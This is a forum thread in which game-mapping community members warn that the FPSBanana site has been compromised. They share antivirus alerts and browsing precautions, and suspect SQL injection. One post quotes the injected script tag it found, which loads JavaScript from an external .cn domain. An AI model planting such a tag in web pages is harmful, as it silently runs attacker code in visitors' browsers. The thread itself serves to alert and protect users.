FPSB Is having site problems.

DJive

Cake or Death?
aa
Dec 20, 2007
1,465
741
Hey all, as brought to by members of our community FPSB is having some trouble with malicious code on their pages.

USER: we lost our server a couple of days ago tdue to 4 rootkits that got installed. We just rebuilt the server and are grabbing our maps again, and sonofabitch, 3 of us with different antivirus programs are getting hammered by malicious code on the FPS banana site
USER: and, knowing when we last downloaded from there, 2 weeks ago, we feel this may be the source of why we lost our server thursday night due to rootkit issues
USER: between the 3 server ops we have,,,,2 using nod32 and 1 with nortons
USER: and they are going nuts when you visit any page on FPS
USER: if anyone knows how to contact the FPS banana people, please relay this info to them

Ive had a few different people give me a heads up about this, so take some caution. I'm sure this will pass over soon enough once their admins here word of it.

/edit: don't turn this into a hate thread. This is only to alert members who use there distributing services and hopefully this will passover very quickly.
 
Last edited:

Fearlezz

L10: Glamorous Member
May 4, 2008
787
476
I've informed my FPSB fellas
 

couto_607

L1: Registered
Oct 19, 2008
11
10
They have a new design now, or its just a bug?

The code screwed up the front page layout. I'm able to browse the website without any problems with NoScript enabled. The only safe place on the site is the forum it seems.

IF you have visited it today, I suggest you clear your cookies and run a virus scan.
 

Zeewier

L9: Fashionable Member
Sep 20, 2008
619
262
The code screwed up the front page layout. I'm able to browse the website without any problems with NoScript enabled. The only safe place on the site is the forum it seems.

IF you have visited it today, I suggest you clear your cookies and run a virus scan.

I also got a virus alert shortly after that firefox used up 1 gb ram xD
 

Fraz

Blu Hatte, Greyscale Backdrop.
aa
Dec 28, 2008
944
1,152
I've had FF crash at least 5 times because of "Runtime Errors" or something, all when I have been on FPSB. Too bad. It's an alright place to get map feedback sometimes.
 

couto_607

L1: Registered
Oct 19, 2008
11
10
The malicious code is attaching itself to the Javascript. You will be able to safely browse the website if you have NoScript enabled on Firefox.
 

Brandished

L5: Dapper Member
Jan 19, 2008
234
311
The site was definitely hacked, I took a tour of it using a Sandboxed Internent Explorer and a large amount of remote commands were executed.

Looking through the sites html source, this looks to be the culprit:

Code:
Script src=//www.o9Ji.cn/c.Js

It's embedded inside the code the site uses for it's message boards. Looks like the FPSB site admin is already working on fixing the problem though, as the site is currently offline.
 

Mar

Banned
Feb 12, 2009
607
63
I want to say it serves them right after I got a virus from them, but I won't.

Instead I'll blame it on karma.
 

Brandished

L5: Dapper Member
Jan 19, 2008
234
311
He blames it on the advertisements, which I find hard to believe.

Where's this announcement posted at? FPSB is still down at the moment, only thing I see when I visit there now is "The Banana will be back soon...".
 

couto_607

L1: Registered
Oct 19, 2008
11
10
He always blames it on ads, but he has now noticed it was an actual SQL injection. This is what happens when he fails to fix the fucking mysql bugs that litter the website. About time this has happened really.
 

Dr. KillPatient

L3: Member
May 10, 2009
115
8
I visited FPSB yesterday, and a virus-alert thingy came up, which my McAfee virus-scan says it immediately deleted, after which I ran a virus-check and came up negative. However, while running nothing but Steam, my ram usage is at 45%. I have Vista Home Premium and 4Gb ram. Does this mean I have a virus?

And by the way, to whoever said to go to the Norton site, there is none, as Norton was bought out by Symantech, I believe. Also, if I'm right, the virus is a trojan.
 
Last edited:

StoneFrog

L6: Sharp Member
May 28, 2008
395
81
All is well again.